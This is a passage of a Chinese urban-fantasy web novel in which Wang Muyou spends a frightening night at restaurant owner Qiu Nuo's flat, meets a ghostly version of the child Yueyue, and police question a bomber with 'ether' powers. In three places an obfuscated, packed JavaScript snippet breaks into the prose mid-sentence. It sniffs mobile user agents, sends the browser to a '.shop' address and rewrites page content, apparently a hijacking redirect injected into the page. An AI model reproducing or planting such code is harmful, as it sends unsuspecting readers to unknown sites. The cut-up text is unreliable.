不知道是因为裘诺的配音,还是因为王睦友过于紧张,恍惚间,他真的看到裘诺的手指上方放出了一朵烟花。那烟花转瞬即逝,在爆炸完了后还徐徐撒下金色的粉末。他赶紧揉了揉眼睛想再确认一下,那里却已经什么都没有了,空气里也没有烟花爆开时会有的烟味。 他正觉着奇怪,阅阅就被逗得破涕为笑,脸上的黑色花纹一会深一会浅,最后消失不见了。 看小孩子恢复了平静,裘诺松了口气。她正还想说几句话打个圆场,周姐就又一把拉过她的胳膊。 “你再好好斟酌下,”她剜了惊魂未定的王睦友一眼,“别带这么个陌生人回去,没准还是个什么人贩子。我走了,下回见。” “啊哈哈,下回见下回见。但这,周姐你看,王先生估计也不是故意……” 裘诺话还没说完,周姐已经紧紧拉着阅阅推开了门。小孩跟在她身后,末了还伸着头往店里看了一眼,但很快也被拉入了门外的夜色里,只留下一个蓝白色的背影。 “但好奇怪啊。小王,你之前都没见过以太人类吗?反应这么大?” 裘诺在终端上碰了几下,随着轻微的电流声,近乎透明的无形门锁就落在了门上,给店面罩上了一层波光粼粼的封层。 她是个自来熟,在王睦友还没反应过来的时候,对他的称呼已经不知不觉从“王先生”变成了“小王”。她转过头看着王睦友,眼睛因为惊奇而睁圆:“你学校里、身边,不会完全没有以太人类吧?不会吧,不会吧?” “肯定是有的吧,但是没有像这样一下在我眼前露出特征的啊。” 王睦友拖着硬从裘诺手里抢下来的箱子,跟在她身后。直到走到室外,他才发现裘诺几乎和他一样高,虽然他本人身高也并不算特别高。 “多少都会靠药物压制一下吧?他们标志性的黑色纹路和圈状瞳孔不管见几次,都会觉得有点……” 他没说下去,但是裘诺懂他的意思,点了点头。 “是啊,就像以太人类 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14265375|151684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 隐私保护法规定的那样,这不仅是保护他们,也是保护我们这样的普通人。”她说。 看王睦友对这个名字有些恍惚,她吐了吐舌头,语气一下柔和了起来:“我小时候,我婶婶忙着经营饭店,就把我托给吉老爷子照顾,久而久之耳融目染。之后你要是帮你舅爷干活,估计对这些也会很熟悉的。” 他们一前一后走在夜晚的光辛路上。这是一条有一点年代的老路,街边有着色彩昏黄的路灯,和几公里外邺京市中心发出的青绿色灯光有着肉眼可见的差异。 王睦友对裘诺其人和这条街道都有些好奇心,便问道:“你的婶婶?她是这家饭店的老板吗?” “她曾经是。”裘诺轻轻地说道,言简意赅,“因为身体原因,她不想经营了,就在两年前把饭店转给了我,她负责满世界游荡旅游,连个固定地址都没有,去年刚在外地病逝。” 她的语速逐渐加快:“其实这样挺好的。我从小就看着婶婶经营饭店,和邻里打交道,觉得这就是我未来的样子。但婶婶却总觉得我这不行那不行的,对我怨言一堆。不过反正最后我过上了我希望的生活,她也不再被饭店和我拖累,算是各取所需吧。只可惜她还没来得及怎么享受没有拖油瓶的人生,就……” 王睦友敏锐地感觉到裘诺这话里的情绪越来越不对劲,便赶紧扯开了话题:“诶,那刚才那对母子是怎么回事啊?那个孩子,他这么小,就是个以太人类吗?” “阅阅吗?他是个幼儿期就触发了以太体质的孩子。嗯,所以思考方式比较特殊,情绪也不怎么稳定,甚至你很难判断他哭是因为难过还是因为高兴。现在慢慢懂事了会说话了倒还好,前几年简直是灾难,反正我这辈子是不想再去猜一个婴幼儿脑袋里到底在想些什么了。” 裘诺拿手在头边打圈圈,纤细手指在地上的影子拖得长长的。她又回头看了王睦友一眼:“也算是中头奖了,这情况真不多见。” “是啊。”王睦友赶紧接话,他还处在紧张又纠结的状态,舌头打结的同时语气平淡。 “以太体质本来就很玄学。我以前就有同学天天盼着自己能变以太人类,但是他就是没有那个体质。 裘诺笑了。 “这种东西总是想要的人没有,不想要的人偏偏中了。”她说。 “阅阅的爸爸就是这样不想教育小以太人的人,所以他早早就跑了,留下周姐一个人带阅阅。周姐绝对是个好妈妈,就可惜工作太忙了,阅阅也成了居委会常客。但有的时候你舅爷,吉老爷子他老人家太忙了顾不上他,就由我暂时照看。” 王睦友在她讲解期间一直很捧场地点头,但终归还是一言不发。裘诺也没强迫他说话,只是边说边走着,最后在一栋六层高的老式居民楼门口站定。她像给王睦友打气似的,又在他背上拍了一下(这次特意收了力道)。 “我的意思是,其实大家都不是什么坏人。之后,可能,大概率,你们还会成为街坊,没必要太把她的话放在心上。” 王睦友抬头看了一下已经开了一盏盏灯的老式居民楼,和站在门口疯狂暗示“来住吧来住吧,等会下雨了”的裘诺,咽了口口水,鼓起勇气忍不住再次确认道:“真,真的没问题吗?如果只是看在我舅爷的份上,你完全没有把我带回来的必要的,真的。而且就像那个女客人说的那样,的确是有风险……” 这下轮到裘诺抓狂了,她似乎没想到王睦友到现在还在纠结身份问题。她用力挠起了自己的头,把丸子头都快抓成了披肩发。 “为什么到现在你还在纠结这件事啊!就不能爽快点吗!”她几乎在尖叫,直接暴躁地一把拉过王睦友的箱子。 “不是看过了你的证件确认过身份了吗?而且我就是有特殊的手段能确定,你肯定是吉老爷子的家人。说了多少次了,我有理由不怕你,反而……” 她当着王睦友的面“滋啦”一声拉开了卫衣外套的拉链,露出了穿在下面的工字背心和有着明显肌肉线条的结实上臂。 王睦友双手高举投降,就差抱头逃窜:“哇!别动手!有话好好说!” 他话音还没落,还来不及转身,就被一把拉下了捂眼睛的手。 昏黄灯光下,他看见了裘诺身上那一大片以红为主色,蔓延了整条左胳膊和小半个后背的,层层叠叠的荷花纹身。他一时无言,却突然对这图案油然生出一种奇怪的熟悉感。 明明是一片荷塘,他迷迷瞪瞪地想,但是在这片水中是绝对翻涌着火焰的。 他自己都为这奇怪的发散思维感到不可思议,但就算抛开联想和幻觉,至少也有一点是已经可以确定的:能在身上纹那么一大片的,肯定是个狠人啊! 裘诺看着愣住的王睦友,突然嘴一咧,乐了。她把左胳膊塞回外套里面,轻轻松松地提起他的行李箱。 “现在还担心我的人生安全吗?”她朝居民楼一撇嘴,脸上的笑容更爽朗了,“还是,你在担心你自己的?” 4. 如果看到空白灵位 但很可惜,似乎上天并不想让这对王睦友而言已经十分漫长的一天就这样结束。它几乎是在两人刚收拾出一个给客人睡的床位后不久,就送来了深夜突发新闻的片头曲。 “可真是世风日下啊。几百年的石像,说炸就给炸了……” 王睦友正坐在裘诺家的沙发上盯着终端上的画面看,就被碎碎念着从浴室窜出来的房子女主人吓了一跳。 “啊,裘姐,你刚刚也在看这个新闻?” 他看裘诺一副颇为感慨的样子,便小心地问:“是那个被毁掉的镇邪神兽像,就邺京东港那个,我小时候就听说过,那可是老物件了。真不知道那个人是怎么想的,这事做得太差劲了。” 裘诺刚换好睡衣,她穿着宽大的T恤和睡裤,半条花臂露在袖子外面,头发还湿淋淋的,用大块的长绒毛巾盖着,随着她往厨房的脚步,头发上的水滴滴答答地落在地上。 她从冰箱里拿出盒酸奶,撕开了它的封条,直接对着开口滋溜滋溜地喝了起来。 等到包装盒瘪去,她才说道:“那可是从邺京建城以来就在的文物了。再者,东港那边就算是深夜也是人来人往的,埋炸弹不就是冲着炸人去的嘛。这怎么想,都只能评价一句世风日下了吧?” 王睦友小声补了一句:“好像嫌疑人还嗑药。” “这不是更糟了嘛!” 那条新闻来得又急又快,直接把本来已经躺平准备休息的王睦友给闹了起来。 他点开终端,画面里的邺京东港此时已经被警车包围。穿着制服的警察正在把一个脸上用黑色打了码的年轻人往车里押,他们所装备的名为“延展系统”的特殊终端在这时发挥了它们应有的作用——带着银蓝色光的透明脚镣和手铐正死死拷在嫌疑人爬满黑色纹路的手脚上。 很显然,这个嫌疑人是个特殊体质的人类。 那边新闻播报员还在说着什么:“嫌疑人用他的特性结合专业知识制作了□□,并用其炸毁了东港的镇邪神兽像。现场民众已经完成疏散,警察还在排查可能存在的其他炸弹……” 裘诺又“啧”了一声。 “让这种人渣得了以太体质的便宜真要命。”她拿毛巾呼噜呼噜头发,“也幸好,现在都有专门针对他们的装备。不然可怎么逮捕他们?光想想就头痛,警察也是真不容易……” 王睦友瞥了一眼裘诺的花臂。 “裘姐,你不会是以太人类吧?”他问,“所以才拿这么大片的纹身来遮盖以太化的痕迹……” 他没等裘诺把脸上写着的“哈?”叫出来,就补充道:“刚刚你哄阅阅的时候,我是看到你手上真的有一团烟花炸开来。然后,你说,反而我应该担心我的生命安全什么的,再加上你的这条花臂,所以我就在想……” 他话音还未落,裘诺就气得扔了酸奶的包装袋。 “你骂谁以太人类呢?”她叫道。 王睦友一愣,这才意识到自己的话有歧义。他于是赶紧辩解:“不是!裘姐你听我解释!我没有说你脑子有问题的意思!现在不都说以太人类和普通人没什么区别了吗,我真没那个意思……” 他赶紧一弯腰,就感觉一个凉凉的东西贴着他的头顶飞了过去。一盒酸奶就这样准确无误地命中了他搬出来的被子堆。 他看向为自己的投掷水平满意点头的裘诺,听她说道:“我什么特殊能力也没有。硬要说的话……扔东西准算吗?” “你这哪里准了!差点就砸到我了!” “能扔到地方就不错了,我又不是故意的!而且你刚才不是躲开了吗!” “那我万一没躲开呢!” 裘诺摊摊手:“那说明,我连扔东西准这点特殊能力都没有啦,你怎么还会觉得我是以太人类。” 看着坐在沙发上发愣的王睦友,她伸了个懒腰:“好啦,你也别多想了。喝完酸奶就睡吧,明天你舅爷就会来捞你了,今天可要好好休息哦。” 她说了晚安,就回了卧室,王睦友还隐约听见了屋门反锁的声音。随后整个房间的灯就被远程关掉了,整个客厅顿时伸手不见五指,只剩下房间角落的神龛发着暗红的光芒。她这一套流程下来行云流水,等王睦友反应回来时,就只剩下他一个人还孤零零地坐在黑暗中的沙发上了。 王睦友念叨着:“你灯都关了我还怎么喝……”就戳了下包装上的保温按钮,把酸奶放在茶几上,这才躺下来还给自己盖上了小被子。 他两眼盯着天花板,却毫无睡意,脑子里面还不可自已地过着今天发生的事情——从到了邺京却无故联络不上了的舅爷,再到遇到这个好像有什么特殊能力,但又好心收留自己的热情老板娘。虽然说不上是一件顺心的事都没有,但也足够让他消化一阵了。再加上临睡前看到的炸弹袭击案,他突然无端生出了一种即将要被邺京这座城市卷入的奇妙想象。 这种莫名其妙的被强迫感让他感到胸闷,越想越是睡不着。眼神在天花板上兜兜转转间,自然就被黑暗中唯一的光源所吸引了。 裘诺的家并不是最近时兴的风格。相反,这房子的装修过时又沉重,从地板到家具的选择都透着实用为上的老旧气质。这种装修也就是五六十年前,经历过真正困难年代的那些人才能喜欢。 更何况这两年以太学还带来了近乎就是暴力的科技革新。方便快捷又实惠的家具、地板、墙砖之类的装修材料层出不穷,换个装修就像是人换个着装风格一样简单。 他实在是很难想象,像裘诺这样的一个年轻的独居女孩居然没动过改装家里的心。 但这还不是最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14265376|151684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奇怪的。就算在这个丑丑的老房子里,这个发光神龛也还是格格不入。 他在刚进屋时就注意到了这个神龛。他起初还以为是裘诺的亲人不在世了,或者她有什么信仰,便也没在意。但现在他越看这发着红光的神龛,却越觉得不对劲。 他有些好奇,就眯着眼睛盯着它看了一会,突然意识到,原来问题出在神龛的供奉位上。 一般来说,家里神龛供奉的祖先,或者神明都会被以刻字灵牌或者雕像小人的形式摆在供奉位上接受供奉,就比如这个神龛的供奉位上就摆着一个四角圆圆的长条形灵牌。 只不过,这个灵牌是空白的。 既然现在供奉的灵牌是空白的,那么这神龛,难道是在等着什么人吗? 他被自己这突然的念头吓出了一身冷汗,赶紧把露在小被子外的脚收进了被窝,再把两手揣在胸前,全身就留一个脑袋在外面,一动也不敢动地双眼平视天花板。 他一边在被子里瑟瑟发抖,一边对自己碎碎念:“不,不就是空白灵牌吗,现在连以前被当仙人的以太人都受管教了,怎么还可能有鬼……对,以太人现在都服管了,以太都能被当科学研究了,真有鬼怎么可能还在外面游荡……” 但是那个发着暗红色的空白灵牌在黑暗里实在又显得诡异,就像恐怖游戏的游戏封面。王睦友甚至感觉自己可以看到浮现在神龛上的“游戏开始”。 只能说人吓人,吓死人。在他注意到这灵牌前,只觉得累了一天能够躺在沙发上就是最大的幸福了。但现在他只觉得背后像被针扎似的难受。 王睦友又深吸了几口气,下定决心,再看一眼那个神龛,就立刻闭上眼躺下睡觉——毕竟如果让他这么继续一直自己吓自己,这觉多半也是睡不着的。于是他便小心翼翼地,不让脖子伸出被子地往那边瞥。 但如果是只靠眼珠子的转动,那能看到的范围终归是有限的。他转了半天,眼周肌都酸了,还是没能再次直视那个神龛。他心一横,心里念着反正这世界上没有鬼,发光神龛去旧物市场十多块钱就能买一个有什么好怕的,身上一用力,干脆直接就坐了起来,一脑袋撞进了一个软乎乎的东西,像是撞上了一团云雾。 他还没反应过来什么呢,就听见那团糊在自己脸上的云雾咯咯地笑。 “大哥哥是来陪阅阅玩的吗?”有人问。 王睦友僵硬地挪动着身体,让脑袋从这片雾气里脱出。 他慢慢抬头,正撞上了两个黑漆漆黑洞一样的眼睛。 如果那能叫眼睛的话。 那双眼睛、那生着那双眼睛的头颅微微歪向一边。 他问:“要一起玩吗?这样的话,就让我来当……” “鬼啊!!!” 王睦友尖叫着滚下了沙发。 5. 在都市的另一头 同一天的同一时刻,有些人在好心人家里的沙发上辗转难眠,而有些人则因为工作被迫加班。 刑警老张就是被迫加班的其中之一。 他在因为以太研讨会的存在而变得逐渐扁平化的公安系统工作了四十多年,工作范围一缩再缩,最后终于在这几个月就要光荣退休了。在这四十年间,他任劳任怨,爱岗敬业如老黄牛,待人也宽厚仗义,因此他的同事不论年纪都叫他老张,以示尊敬和亲密。 但此时他只是在吸烟区点了一支本来已经戒了许久的烟,吸了一口。 唉,年纪上去了,精力就是大不如前了。他吐着烟想。这些年变化真快,科技呀,社会风气呀……我算是逐渐跟不上了。 但话说回来,这年头的小年轻啊…… 他一想起隔壁正在进行的问询,左半边脑仁就痛了起来,于是他又吸了一口烟,长长地叹了一口气。 休息室的门口传来滴的一声,老张的同事小沈走了进来,透明的墙壁在他身后自动恢复了平面。 他是隔壁技术部门的小领导,和老张颇为熟悉,于是听到这声叹息就乐了。 他夸张地吸了吸鼻子:“哟,您这休息呢?” 老张点了点头:“可不吗?刚才赵老师嘴皮子都磨破了,那小伙子还是油盐不进,现在还前言不搭后语地在那里骂呢。我在一边听着心烦,就出来喘口气。” 他弹了一下烟,颇为感慨:“诶,不然咋说警察要值夜班呢?干我们这行的,就是人见得多,事经历得多。谁知道可能哪个晚上就钻出个什么鬼人呢?” 人一旦上了年纪就总是倾向于夸大自己的阅历,小沈早就对此见惯不怪了。 他眼珠子一转,也点起一根烟叼在嘴里:"嗨,别说你们了。我们那边也和技术部门加班加点研究缴上来的作案工具呢。这些年邪门的东西真越来越多了。有一说一,以太学还是厉害的,要不是我们那儿有几个上进的,就专门搞这个的新人愿意加班加点搞拆解,不然我们这些老人怕不是连犯人自制的□□都研究不明白咯。" 他在"上进的新人"那里故意加重了咬字,意有所指。 老张没反应回来他这话里的弯弯绕,他摇摇头:"诶,你可别小看那个犯人。虽然他年纪轻轻就报复社会了,但毕竟是名校出身,现在的竞争我听我那个上高中的小侄女说,可真是吓死人了,不比我当年咯。" 他颇为沧桑地吸了几口烟,还想继续感慨几句,那边小沈就先憋不住了。他敷衍地"嗯"了几声,话锋一转:"可是名校毕业也不一定管用啊?别说只是舆华地区的名校了,就算毕业于世界知名学府,看简历都可以直接进研讨会的那种,她要是不上班不上进那不也白瞎了吗?" 就像那谁,那谁……那样。他说。 老张这才反应回来对方在说什么——加班不来、享尽特权,又做出一副眼高于顶样子的人在他们这种人人都需要随时做好配合他人准备的职场里绝对是不讨喜的。可偏偏他们身边就有这么一号人,以至于说她的小话都快成最近最热门的新茶水间团建活动了。 老张是个性格宽厚的老实人,对团队氛围更是格外看重。他一听自己这同事是又酸溜溜地说起了这个话题,下意识就先看看附近,确认没别人后,赶紧回过头小声劝说:"诶!诶!这种话还是别说了。人家小姑娘新来的,人生地不熟,业务不熟练,需要适应一下挺正常……" 小沈插嘴:"人生地不熟?是说她家里和上面说一声就直接空降了?刚来就安排赵老师带她?也亏那是脾气好的赵老师,才会没有怨言地接这个烂摊子。就看她平时那个目中无人的样,还以为她多大本事能帮上多少忙呢,结果就是个到点下班的主,甚至连夜班也从轮不到她……这不就是公主屈尊纡贵来体验生活的吗?就这样我们还得天天哄着她?" 他这几句话说得爽了,可终归还是有点心虚,最后还是压低了声音撂下一句不怎么有说服力的狠话:"这事她做得了,别人就说不得?季家再厉害也堵不住人的嘴啊?他们家的宝贝疙瘩是爽了,倒是想想她的同事……" 老张刚还想劝他看开点,就听见从没有完全静音的休息事外传来急促的脚步声。 被他们议论的对象,季井仪散着一头长长的黑发,小跑着进了审问室外的走廊。 她二十出头,从皮肤、头发、平时动作的尺寸上就可以一眼看出她出身的环境非同一般,更别说再叠加她为人控诉的一系列所谓特殊待遇,这一切都指向了同一个显而易见的答案。 空降来警局的大小姐。老张和小沈几乎是同时想到,其中老张更是看着墙上“不得披头散发”的着装要求无语哽咽,一时不知道该说些什么好。 不过与其说季井仪像是个百般呵护长大的大小姐,倒不如说她更像一个从小到大都负责班级管理的好学生。甚至很多时候,她经常显露出和她的名媛身份不太相符的鲁莽来。 就比如现在。 她依然穿着价格不菲的鞋子,制服也一丝不苟,只有按规章应该扎起来的乌黑长发此时正乱糟糟的。看她这不体面的样子,显然是已经睡下后突然看到新闻才冒雨赶来的。 她也没管三七二十一,直接跑进休息区,一把抓住吸烟未遂的小沈,兴奋地问道:“刚才的那个爆炸案的犯人抓到了吗!在哪里!赵老师是不是已经开始……” 小沈连忙冲她摆手,完全没有刚才说小话时那副嚣张样了:“祖宗诶,你问我没用啊!你看老张不在那儿吗……” 他往旁边一指,祸水东引,老张赶忙指指走廊的另一头。 “4号隔间。”他补充道。 季井仪点点头,刚才因为奔跑而上脸的红色随着她的呼吸消散了一点。她半是指责地问:"为什么出了事不告诉我?我还是临睡前看到了新闻才赶来的。" 谁敢打扰你这个祖宗啊! 两位警察不约而同地想。 上面可专门嘱咐过,十点后别打扰你的! 但这话终究是说不出口的,于是老张咳嗽了一声,掩盖尴尬,催促道:"咳,这不是我们忙疯了把你忘了嘛。快去吧,你赵老师刚才还问你在哪儿呢。" 季井仪对他点了点头表示感谢,转身就走,末了还颇为贴心地说了一句:"您去休息吧,之后交给我就好。" 休息室的两人对视一眼,更是哭笑不得。 “得嘞。”老张苦笑着说,“她还以为我们今晚能休息呢。” “可能季家就是这么保障家里仆人权益的吧。”小沈阴阳怪气,终于点上了他肖想已久的烟。 季家。 那是扎根于邺京,向外开枝散叶成了规模的名门望族,在邺京几乎可以说是一手遮天,即便是政府部门,甚至是正当权的以太研讨会在邺京的地界上都必须看着季家的脸色行事,当真是横行霸道的庞然巨物。 但事实上,从上个世纪第四次世界性极夜事件开始,一直到近二十年前以太学引发的科技改革,对这类传统世家毁灭性的事件一件接一件。但这些事件却从没危害到季家,反倒是让他们的地位与资产又翻了几番,形容他们“割据一方”是绝对恰当的。 邺京建城七百余年,做过皇都,也曾衰败过,城头旗帜变了又变,城里城外待过的人数早就不是泥沙可以比喻的天文数字,可在这样历史的长河里,只有季家巍然不动。 但可能是上天对季家的制衡,季家的子嗣凋零得也格外厉害。季家目前最小的这辈,按八卦小报的说法满打满算也才总共四个孩子。而这季井仪恰恰是现在季家族长季左的老来子,还是个闺女,季左自然把她当眼珠子来疼。那边季井仪刚在国外完成学业,就被他迫不及待地叫了回来。 原本大家都以为她是要被当个富贵闲人养着的,却没想到季左居然转手就把她安排进了邺京的公安系统,还总明里暗里施压,让原本以科技特殊人才身份进去的季井仪可以随便挑选岗位,还给了她几乎完全不像是警察的充足休息时间。 不过像今天这种紧急的突发情况,即便是季家的大小姐也还是只能老实来加班呢。 虽然当事人是自愿的。 季井仪走进4号隔间时,审讯正进行到了短暂的中场休息。 东港爆炸案的犯人被关在一个透明的立方体里。这种对以太人特化的牢笼是最尖端的科技产品之一,可以轻松调节内部的以太粒子密度,从而完成对被关押者的控制。必要时时它甚至对内可以达到完全的降噪,将所有可能刺激到犯人的要素全部降至零,以安抚犯人的情绪,防止对方做出自伤的行为。 但就算是这样,这染着一头粉发的爆炸案犯人还是在透明的方块里尖叫咒骂,还偶尔捶两拳透明的墙壁,对警察们竖个中指。 季井仪没想到这犯人现在还这么嚣张,当即不屑地撇了撇嘴。 “姓名万诚,年龄24,体内检测出了对以太人类有效的迷幻剂……初步判断为违禁药品名录中的药品,需要等待进一步和以太研讨会的接洽。” 她一边翻着调出来的档案,一边对在旁边休息的女警官说:“这也太嚣张了。” 她对着说话的那位也是主持这场审讯的警官。她是季井仪的直属上司,姓赵,名虹蕾,是一名经验丰富的谈判专家,在部门里人望很高,“赵老师”这个流传在同事间的称谓既是对她待人温和又严厉态度的描述,又是对她能力的肯定。 她再次确认从外向里的麦克风是关掉的,才转过头和季井仪对话。 “虽然你说的可能是事实,但是,”她苦笑道,“在确认他不能听到前,还是尽量别这么说吧。他本来就情绪不稳定了,再异变下去,我怕……” “怕他以太化过度,出现生命危险?” 季井仪皱着修得细细的眉毛看着被关押的犯人,在得到赵老师肯定的回答后感到不解地摇摇头。 “这种概率很小吧?”她冷静地分析道,“不要说紧急维生系统里,如果是短时间里突然的以太化,那光是关着他的’涧’系统就足以应对了。倒不如说,在‘涧’能对他的体质进行操控的前提下,不间断地刺激他的精神,反而是更容易套出线索的选择?我是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14265377|151684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这么想的,毕竟这种烂人就算是释放了也只是让世界上多几个没救的……” 她没说完的话被毫不掩饰不赞同的目光阻止了。 赵虹蕾对季井仪倒没什么意见,在她看来年轻人总是会缺乏耐性、思路过于直率,始终便觉得引导他们变得耐心是作为年长者的责任。 “这样是不行的。”她说,“我们不能开这个将生命物化的口子,更不应该否定犯罪嫌疑人向善的可能性。” 季井仪皱起了眉头,正想说自己只是在说一个大概率的后果,就看到赵虹蕾突然对她比了一 个指令手势。她像竖起了耳朵的兔子那样,敏锐捕捉到了透明方块里犯人咒骂时吐出的某个关键词。 赵虹蕾拉过麦克风:“万先生,您刚才所说的,‘第二起一定给你们好看’是指的什么?” 她的突然袭击吓了刚才趁着中场休息,大吐恶词的万诚一跳。但他立刻又做出那副张扬的样子,对看不见的审讯方吐出打了好几颗舌钉的舌头。 “哈?”他笑道,“现在开始害怕了吧?我告诉你们,我可还有一个朋友在外面等着呢,我出不去他就会……” “你还有同伙?” “不止!”他扑到透明的墙壁上,面色狰狞,随着他情绪的变化,黑色的纹路开始在皮肤上显现。 “我不仅还有一个朋友,我背后还有好多好多的朋友,我们会让邺京底朝天的,不这样就不够有趣!”他狂笑着,然后猛烈地咳嗽了起来——方块自动降低了内部的以太密度,这让他的呼吸和行动变得迟缓了。 赵虹蕾面色依旧平稳,但是却在桌下频频对季井仪打手势,示意她通知其他部门戒备。 她再次问到:“那么,你们计划的下一次袭击,是什么时候?” “什么时候?”万诚咳了一会才适应更低浓度的环境。他对此十分不满,但又好像意识到他越激动,以太密度就会越低。他压着火,干脆直接躺在地上骂道:“这不该你们这群警察大人们自己去查吗?问我,我就会告诉你们吗?到时候,轰——地一下……” 他恶意地笑了起来。 “诶呀,又会有多少伤亡呢?” “你……!” 赵虹蕾赶紧摁住了差点坐不住的季井仪,让她先别出声。 “今天,明天,后天。东……诶呀,东好像已经被我炸了……”他放声大笑,“西,南,北。你们猜我的同伙会从哪里冒出来给你们一个惊喜呢?没准他现在就在你们的总局大楼里……” 季井仪挣脱了赵虹蕾的压制,她一把抢过麦克风。 “不要虚张声势了!”她尽量保持着沉着的语气,但是颤抖的尾音却出卖了她此刻激动的情绪。 “难道你以为现在还是过去以太生物就能为所欲为的年代吗?真可笑,明明在被带走时被延展系统压制得没有任何反抗的余力,这时候就仗着警局不能对你怎么样开始大放厥词,试图威胁我们。你可曾想过,不论是你,还是你口中的同伙,说到底都只是不入流的跳梁小丑……啊,抱歉赵老师……我这就……” 把季井仪交到在审讯室外待命的同事手中后,赵虹蕾头痛地捏了捏鼻梁,让自己能够平和对待因为季井仪的拱火而叫嚣着“哈?那就来看看啊?看看你所谓的跳梁小丑到底能做些什么!”的犯罪嫌疑人,清了清嗓子。 “那么谢谢你的配合,万先生。”她说,“即使现在是问询,但我们理论上也还是平等的关系。那这样吧,我也向你透露一点我们的调查结果好了。” 她打开终端,调取了几个地点数据。 “比如,我们在一个多小时前发现了的,第二处你们安装了炸弹的地点……你看怎么样?” 透明方块里喧哗的声音一下消失了。 那之前一直叫嚣着的犯罪嫌疑人突然安静了下来,半疯的表情逐渐从脸上褪去,露出了面具下胆小而狡猾的本质。 而这一层本质,也即将被刺穿。 他看到了警察手里将要翻开的底牌。 “就像您说的,西,南,北。”赵虹蕾自顾自地说了下去,“真巧,第二处的炸弹在北边。就在顺王府那里,那要是炸了损失就惨重了,舆华的博物馆协会肯定会疯的。”她半开玩笑地说了一句,“抱歉,话题扯远了。不过话又说回来了,在顺王府遍地都是文物的情况下,其中还是有一样东西格外特别,而且能和东港联系起来。” 她在看到万诚脸上越来越凝重的表情时,露出了一个安抚性的笑脸。 “虽然不知道你们是怎么进到顺王府后院的,但你们的目标就是辟邪像吧?剩下的内容就很简单了。邺京现存的四座辟邪像正好位于东西南北四个方向。东如你所说,已经被袭击了,顺王府那边我们也已经联系研讨会处理了。” 她把打了圈的地图投影进了透明的方块里。 位于邺京西站旁边的邺京交通综合医院,和邺京南部的自然景点燕红山上分别被打了两个圈。 “万先生,下一个就是这里吧。” 底牌翻开,同花顺。 6. 不要和奇怪的东西捉迷藏 裘诺的家对一个独居的单身女性而言,绝对可以说是绰绰有余的宽敞了。甚至她如果考虑把积了一层灰,根本没人使用的书房装修成第三个卧室的话,这房子就可以轻松住下一家四口人。 但此时,这房子在王睦友眼里却是如此狭小。 玩躲猫猫,那肯定是场地多大都不嫌大。 更何况他现在躲的是名副其实的“鬼”。 “啊,大哥哥躲起来了!是在躲猫猫吗?” 那个有着阅阅的脸,双眼部位却只剩下两个黑洞,没有实体的幽灵又开始打转了。 “嘻嘻,那可要藏好了哦?” 他躲在桌子下瑟瑟发抖。幽灵固然应该是没有脚步声的,但他此时却无比确信,“阅阅”就在他藏身的桌子上面来回游荡。 桌上的桌布长得垂到地上,他无法看到外面的情况。但他也没有胆子把桌布掀开一角查看外面的情况,就怕自己一掀开桌布,正好对上小鬼那一对空洞洞的黑洞眼。 因为他确信自己听到了幽灵的脚步声。 他大气都不敢出,恍惚间就好像能看见悬浮的“阅阅”光着的小脚丫在桌面上左晃右晃的样子。 窗外暴雨倾盆。 在剧烈的雨声里,咔啦、咔啦,像是有人不得要领的用木头互相击打,却始终产生不了火星的声音在他耳边清晰可闻。 那就是幽灵漂浮的声音,而这幽灵现在必然就在他头顶上。 裘姐啊!快醒醒啊! 就算你可能不会驱鬼,但只要你醒了,好歹我就不是一个人担惊受怕了啊! 他自觉缺德地在心里祈祷着。 他缩成一个球,正觉得人生无望,开始一秒一秒数着到天亮的剩下时间(现在应该才凌晨一点左右吧?他悲观地想),就听见像木头互相敲击的声音离开了他的头顶,一点点远去了,最后停在了房间的另一头,大概是阳台的位置。 ……是放弃在这边找我了? 他正想把桌布掀一个小角,又立刻对自己喊了停。 这个时候不能掀。 恐怖游戏不都那样吗?在主角以为没事了的时候,突然在视觉盲区或者切换地图的时刻跳出来一个鬼 脸。 王睦友的手指就停在桌布前一厘米。他早就一身冷汗了,指肚也是黏糊糊的,再往前一伸估计就能黏到桌布,到时候就是他不主动掀开,估计都会被抓个正着。 他小心翼翼地换了个姿势,跪坐在地上,两手撑着地。 咔啦、咔啦。 木头的声音又停了,然后就是猛烈的啪嚓一声。 “啊!太狡猾了!躲到哪里去了!” 他听见这声音又从头顶上传来,脑子正不由自主想起“二阶段”这个词,就感觉胸口一沉。他一低头,正对上小孩那两只凹陷下去的,黑洞一样的眼睛。 “我输了,大哥哥你快出来吧?” “啊啊啊啊啊啊!!!” 王睦友尖叫着连滚带爬地从桌子下面冲出来,期间头还磕到了桌边。他也顾不上疼,就把目光锁定在了房间里剩下的唯一一个紧闭的房门。 “又要跑吗?大哥哥还要接着一起玩吗?好耶!” 